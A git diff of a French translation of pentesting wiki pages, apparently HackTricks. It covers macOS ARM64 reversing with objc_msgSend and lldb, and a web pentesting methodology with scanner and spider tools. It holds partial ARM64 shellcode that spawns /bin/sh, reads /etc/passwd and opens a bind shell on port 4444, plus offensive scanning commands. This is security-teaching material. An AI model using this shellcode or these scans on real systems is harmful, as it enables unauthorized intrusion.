Par exemple l'appel `gettimeofdate` lit la valeur de `timeval` directement depuis la comm page.
|
||||
|
||||
### objc_msgSend
|
||||
|
||||
Il est très courant de trouver cette fonction utilisée dans des programmes Objective-C ou Swift. Cette fonction permet d'appeler une méthode d'un objet Objective-C.
|
||||
|
||||
Paramètres ([plus d'infos dans la documentation](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
|
||||
- x0: self -> Pointeur vers l'instance
|
||||
- x1: op -> Sélecteur de la méthode
|
||||
- x2... -> Reste des arguments de la méthode invoquée
|
||||
|
||||
Donc, si vous placez un point d'arrêt avant la branche vers cette fonction, vous pouvez facilement trouver ce qui est invoqué dans lldb avec (dans cet exemple, l'objet appelle un objet de `NSConcreteTask` qui exécutera une commande):
|
||||
Donc, si vous placez un breakpoint avant la branche vers cette fonction, vous pouvez facilement trouver ce qui est invoqué dans lldb avec (dans cet exemple l'objet appelle un objet de `NSConcreteTask` qui exécutera une commande):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
@ -369,31 +372,31 @@ whoami
|
||||
)
|
||||
```
|
||||
> [!TIP]
|
||||
> En définissant la variable d'environnement **`NSObjCMessageLoggingEnabled=1`**, il est possible de journaliser quand cette fonction est appelée dans un fichier comme `/tmp/msgSends-pid`.
|
||||
> Setting the env variable **`NSObjCMessageLoggingEnabled=1`** it's possible to log when this function is called in a file like `/tmp/msgSends-pid`.
|
||||
>
|
||||
> De plus, en définissant **`OBJC_HELP=1`** et en appelant n'importe quel binaire, vous pouvez voir d'autres variables d'environnement que vous pourriez utiliser pour **journaliser** quand certaines actions Objc-C se produisent.
|
||||
> Moreover, setting **`OBJC_HELP=1`** and calling any binary you can see other environment variables you could use to **log** when certain Objc-C actions occurs.
|
||||
|
||||
Lorsque cette fonction est appelée, il est nécessaire de trouver la méthode appelée de l'instance indiquée, pour cela, différentes recherches sont effectuées :
|
||||
Lorsque cette fonction est appelée, il faut trouver la méthode appelée de l'instance indiquée ; pour cela différentes recherches sont effectuées :
|
||||
|
||||
- Effectuer une recherche de cache optimiste :
|
||||
- Si réussi, terminé
|
||||
- Acquérir runtimeLock (lecture)
|
||||
- Si (réaliser && !cls->réalisé) réaliser la classe
|
||||
- Si (initialiser && !cls->initialisé) initialiser la classe
|
||||
- Essayer le cache propre à la classe :
|
||||
- Si réussi, terminé
|
||||
- Essayer la liste des méthodes de la classe :
|
||||
- Si trouvé, remplir le cache et terminé
|
||||
- Essayer le cache de la superclasse :
|
||||
- Si réussi, terminé
|
||||
- Essayer la liste des méthodes de la superclasse :
|
||||
- Si trouvé, remplir le cache et terminé
|
||||
- Si (résolveur) essayer le résolveur de méthode, et répéter à partir de la recherche de classe
|
||||
- Si encore ici (= tout le reste a échoué) essayer le transmetteur
|
||||
- Effectuer une recherche optimiste dans le cache :
|
||||
- Si la recherche réussit, terminé
|
||||
- Acquérir runtimeLock (read)
|
||||
- Si (realize && !cls->realized) realize class
|
||||
- Si (initialize && !cls->initialized) initialize class
|
||||
- Tester le cache propre à la classe :
|
||||
- Si la recherche réussit, terminé
|
||||
- Tester la liste des méthodes de la classe :
|
||||
- Si trouvée, remplir le cache et terminé
|
||||
- Tester le cache de la superclasse :
|
||||
- Si la recherche réussit, terminé
|
||||
- Tester la liste des méthodes de la superclasse :
|
||||
- Si trouvée, remplir le cache et terminé
|
||||
- Si (resolver) essayer le method resolver, et répéter à partir de la class lookup
|
||||
- Si on en est encore là (= tout le reste a échoué), essayer le forwarder
|
||||
|
||||
### Shellcodes
|
||||
|
||||
Pour compiler :
|
||||
Pour compiler:
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
@ -467,10 +470,10 @@ return 0;
|
||||
|
||||
#### Shell
|
||||
|
||||
Pris de [**ici**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) et expliqué.
|
||||
Extrait de [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) et expliqué.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="avec adr"}}
|
||||
{{#tab name="with adr"}}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="avec la pile"}}
|
||||
{{#tab name="with stack"}}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="avec adr pour linux"}}
|
||||
{{#tab name="with adr for linux"}}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh"
|
||||
|
||||
#### Lire avec cat
|
||||
|
||||
L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui, en mémoire, signifie une pile des adresses).
|
||||
L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un array de params (qui en mémoire signifie un stack des addresses).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Invoker une commande avec sh depuis un fork afin que le processus principal ne soit pas tué
|
||||
#### Exécuter une commande avec sh depuis un fork pour que le processus principal ne soit pas terminé
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### Bind shell
|
||||
|
||||
Bind shell de [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) sur **port 4444**
|
||||
Bind shell depuis [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) sur le **port 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -1,12 +1,12 @@
|
||||
# 80,443 - Méthodologie Pentesting Web
|
||||
# 80,443 - Méthodologie de Pentesting Web
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Infos de base
|
||||
## Informations de base
|
||||
|
||||
Le service web est le service le plus **commun et étendu** et de nombreux **types différents de vulnérabilités** existent.
|
||||
Le service web est le service le plus **commun et étendu** et il existe de nombreux **types différents de vulnérabilités**.
|
||||
|
||||
**Port par défaut :** 80 (HTTP), 443 (HTTPS)
|
||||
**Port par défaut :** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
@ -17,45 +17,45 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web API Guidance
|
||||
### Directives pour les API Web
|
||||
|
||||
|
||||
{{#ref}}
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Methodology summary
|
||||
## Résumé de la méthodologie
|
||||
|
||||
> Dans cette méthodologie nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
|
||||
> Dans cette méthodologie, nous supposons que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le scope.
|
||||
|
||||
- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **trucs** à garder en tête pendant le reste du test si vous parvenez à identifier la tech.
|
||||
- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder en tête pendant le reste du test si vous parvenez à identifier la technologie.
|
||||
- [ ] Existe-t-il une **vulnérabilité connue** pour la version de la technologie ?
|
||||
- [ ] Utilisez-vous une **tech bien connue** ? Y a-t-il une **astuce utile** pour extraire plus d'informations ?
|
||||
- [ ] Un **specialised scanner** à lancer (like wpscan) ?
|
||||
- [ ] Utilisez-vous une **technologie bien connue** ? Y a-t-il une **astuce utile** pour extraire plus d'informations ?
|
||||
- [ ] Y a-t-il un **scanner spécialisé** à lancer (comme wpscan) ?
|
||||
- [ ] Lancez des **general purposes scanners**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intéressantes.
|
||||
- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS).
|
||||
- [ ] Commencez le **spidering** de la page web : il est temps de **trouver** tous les **fichiers, folders** et **paramètres being used.** Vérifiez également les **special findings**.
|
||||
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
|
||||
- [ ] **Directory Brute-Forcing** : Essayez de brute force tous les dossiers découverts en recherchant de nouveaux **files** et **directories**.
|
||||
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
- [ ] **Backups checking** : Testez si vous pouvez trouver des **backups** des **discovered files** en ajoutant des extensions de sauvegarde courantes.
|
||||
- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, **404** error et **SSL/TLS scan** (si HTTPS).
|
||||
- [ ] Commencez le **spidering** de la page web : c'est le moment de **trouver** tous les **fichiers, dossiers** et **paramètres utilisés** possibles. Vérifiez aussi les **trouvailles particulières**.
|
||||
- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute-forcing ou le spidering, il doit être spidered._
|
||||
- [ ] **Directory Brute-Forcing** : Essayez de brute-forcer tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
|
||||
- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute-forcing ou le spidering, il doit être Brute-Forced._
|
||||
- [ ] **Backups checking** : Vérifiez si vous pouvez trouver des **backups** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
|
||||
- [ ] **Brute-Force parameters** : Essayez de **trouver des paramètres cachés**.
|
||||
- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant des **user input**, vérifiez tous les types de **vulnérabilités** qui y sont liés.
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] [Suivez cette checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Version du serveur (Vulnérable ?)
|
||||
|
||||
### Identify
|
||||
### Identification
|
||||
|
||||
Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\
|
||||
Les **HTTP headers and cookies of the response** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Les **HTTP headers** et les **cookies** de la réponse peuvent être très utiles pour **identifier** les **technologies** et/ou la **version** utilisées. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)** :**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Rechercher **les** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
Rechercher [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Vérifier s'il y a un WAF**
|
||||
|
||||
@ -63,9 +63,9 @@ Rechercher **les** [**vulnerabilities of the web application** **version**](../.
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Web tech tricks
|
||||
### Astuces techniques Web
|
||||
|
||||
Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **technologies** bien connues utilisées :
|
||||
Quelques **astuces** pour la **recherche de vulnérabilités** dans différentes **technologies** bien connues utilisées :
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -101,20 +101,19 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Prenez en compte que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **folders** et **subdomains**._\
|
||||
Si l'application web utilise une des **tech/platform listed before** ou toute autre, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et tiens-moi au courant !).
|
||||
_Prenez en compte que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\
|
||||
Si l'application web utilise une des **tech/platform listées ci-dessus** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et dites-le-moi !).
|
||||
|
||||
### Revue du code source
|
||||
|
||||
Si le **source code** de l'application est disponible sur **github**, en plus d'effectuer par **vous-même un White box test** de l'application, certaines **informations** peuvent être **utiles** pour le **Black-Box testing** en cours :
|
||||
|
||||
- Y a-t-il un **Change-log or Readme or Version** file ou quoi que ce soit contenant des **version info accessible** via le web ?
|
||||
- Comment et où sont stockées les **credentials** ? Y a-t-il un **file** (accessible ?) contenant des credentials (usernames ou passwords) ?
|
||||
- Les **passwords** sont-ils en **plain text**, **encrypted**, ou quel **hashing algorithm** est utilisé ?
|
||||
- Utilise-t-il une **master key** pour chiffrer quelque chose ? Quel **algorithm** est utilisé ?
|
||||
- Pouvez-vous **accéder à l'un de ces files** en exploitant une vulnérabilité ?
|
||||
- Y a-t-il des **informations intéressantes dans github** (issues résolues ou non) ? Ou dans l'**commit history** (peut-être un **password** introduit dans un ancien commit) ?
|
||||
Si le **source code** de l'application est disponible sur **github**, en plus d'effectuer par **vous-même un White box test** de l'application, il y a **des informations** qui pourraient être **utiles** pour le **Black-Box testing** en cours :
|
||||
|
||||
- Y a-t-il un fichier **Change-log**, **Readme** ou **Version** ou tout autre élément avec des **informations de version accessibles** via le web ?
|
||||
- Comment et où sont stockés les **identifiants** ? Y a-t-il un **fichier** (accessible ?) contenant des identifiants (noms d'utilisateur ou mots de passe) ?
|
||||
- Les **mots de passe** sont-ils en **texte clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ?
|
||||
- Utilise-t-il une **master key** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ?
|
||||
- Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ?
|
||||
- Y a-t-il des **informations intéressantes sur github** (issues résolues ou non) ? Ou dans l'**historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -134,12 +133,12 @@ nuclei -ut && nuclei -target <URL>
|
||||
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
||||
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
||||
```
|
||||
#### Scanners pour CMS
|
||||
#### Scanners de CMS
|
||||
|
||||
Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, quelque chose d'intéressant peut être trouvé :
|
||||
Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, vous pourriez trouver quelque chose d'intéressant :
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour des problèmes de sécurité. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites Web pour des vulnérabilités de sécurité. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -149,15 +148,15 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> À ce stade vous devriez déjà avoir quelques informations sur le serveur web utilisé par le client (si des données sont fournies) et quelques astuces à garder en tête pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et lancé un scanner.
|
||||
> À ce stade, vous devriez déjà disposer de certaines informations sur le web server utilisé par le client (si des données sont fournies) et de quelques astuces à garder en tête pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et lancé un scanner.
|
||||
|
||||
## Step-by-step Web Application Discovery
|
||||
## Étape par étape : Web Application Discovery
|
||||
|
||||
> À partir de ce point, nous allons commencer à interagir avec l'application web.
|
||||
> À partir de maintenant nous allons commencer à interagir avec l'application web.
|
||||
|
||||
### Initial checks
|
||||
### Vérifications initiales
|
||||
|
||||
**Default pages with interesting info:**
|
||||
**Pages par défaut contenant des informations intéressantes :**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
@ -166,28 +165,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /.well-known/
|
||||
- Vérifiez aussi les commentaires dans les pages principales et secondaires.
|
||||
|
||||
**Forcing errors**
|
||||
**Forcer des erreurs**
|
||||
|
||||
Les serveurs web peuvent **se comporter de manière inattendue** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou entraîner la **divulgation d'informations sensibles**.
|
||||
Les web servers peuvent **se comporter de manière inattendue** lorsque des données bizarres leur sont envoyées. Cela peut ouvrir des **vulnerabilities** ou provoquer la **disclosure sensitive information**.
|
||||
|
||||
- Accédez à des **pages factices** comme /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Ajoutez "\[]", "]]", and "\[\["** dans les **valeurs de cookie** et les **valeurs de paramètres** pour provoquer des erreurs
|
||||
- Générez une erreur en fournissant en entrée **`/~randomthing/%s`** à la **fin** de l'**URL**
|
||||
- Essayez différents **HTTP Verbs** comme PATCH, DEBUG ou incorrects comme FAKE
|
||||
- **Ajoutez "\[]", "]]", et "\[\["** dans les **cookie values** et les **parameter** values pour provoquer des erreurs
|
||||
- Générer une erreur en donnant en entrée **`/~randomthing/%s`** à la **fin** de l'**URL**
|
||||
- Essayez **différents HTTP Verbs** comme PATCH, DEBUG ou même des verbes invalides comme FAKE
|
||||
|
||||
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffisamment de permissions pour **uploading files** dans le dossier racine, essayez de :
|
||||
Si vous constatez que **WebDav** est **enabled** mais que vous n'avez pas suffisamment de permissions pour **uploading files** dans le dossier racine, essayez de :
|
||||
|
||||
- **Brute Force** credentials
|
||||
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
|
||||
- **Upload files** via WebDav dans le **reste** des **found folders** présents dans la page web. Il se peut que vous ayez la permission d'uploader des fichiers dans d'autres dossiers.
|
||||
|
||||
### **SSL/TLS vulnerabilites**
|
||||
### **SSL/TLS Vulnerabilités**
|
||||
|
||||
- Si l'application **n'impose pas l'utilisation de HTTPS** dans une quelconque partie, alors elle est **vulnérable à MitM**
|
||||
- Si l'application **n'oblige pas l'utilisation de HTTPS** dans une quelconque partie, alors elle est **vulnerable to MitM**
|
||||
- Si l'application **envoie des données sensibles (passwords) via HTTP**. Alors c'est une vulnérabilité élevée.
|
||||
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (Dans les programmes Bug Bounty probablement ce genre de vulnérabilités ne sera pas accepté) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
|
||||
Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnerabilities** (dans les programmes Bug Bounty, ce type de vulnérabilités est probablement rarement accepté) et utilisez [**a2sv**](https://github.com/hahwul/a2sv) pour recontrôler les vulnerabilities :
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -203,53 +202,53 @@ Information about SSL/TLS vulnerabilities:
|
||||
|
||||
### Spidering
|
||||
|
||||
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
|
||||
Lancez une sorte de **spider** dans l'application web. L'objectif du spider est de **trouver autant de chemins que possible** depuis l'application testée. Par conséquent, le crawling web et les sources externes doivent être utilisés pour découvrir le plus de chemins valides possible.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, avec LinkFider pour les fichiers JS et Archive.org comme source externe.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, indique aussi les "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactive HTML spider. Il recherche aussi dans Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Cet outil n'est pas un spider mais peut être utile. Vous pouvez spécifier un fichier d'hôtes et un fichier de chemins ; meg récupérera chaque chemin sur chaque hôte et sauvegardera la réponse.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider avec capacités de rendu JS. Cependant, il semble non maintenu, la version précompilée est ancienne et le code actuel ne compile pas.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider qui utilise des fournisseurs externes (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ce script trouve des URLs avec paramètres et les liste.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider avec rendu JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, avec capacités de beautify JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut être intéressant aussi de regarder [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Pour extraire des endpoints dans le source HTML et dans les fichiers javascript embarqués. Utile pour bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script python 2.7 utilisant Tornado et JSBeautifier pour parser des URLs relatives à partir de fichiers JavaScript. Utile pour découvrir facilement des requêtes AJAX. Semble non maintenu.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Donné un fichier (HTML) il extraira les URLs en utilisant une expression régulière astucieuse pour trouver et extraire les URLs relatives de fichiers uglifiés (minifiés).
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils): Rassemble des informations intéressantes depuis les fichiers JS en utilisant plusieurs outils.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Trouver des fichiers JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Charge une page dans un navigateur headless et affiche toutes les urls chargées pour afficher la page.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Outil de discovery de contenu mélangeant plusieurs options des outils précédents.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Une extension Burp pour trouver chemins et params dans les fichiers JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Un outil qui, donné l'URL du .js.map, récupérera le code JS beautifié.
|
||||
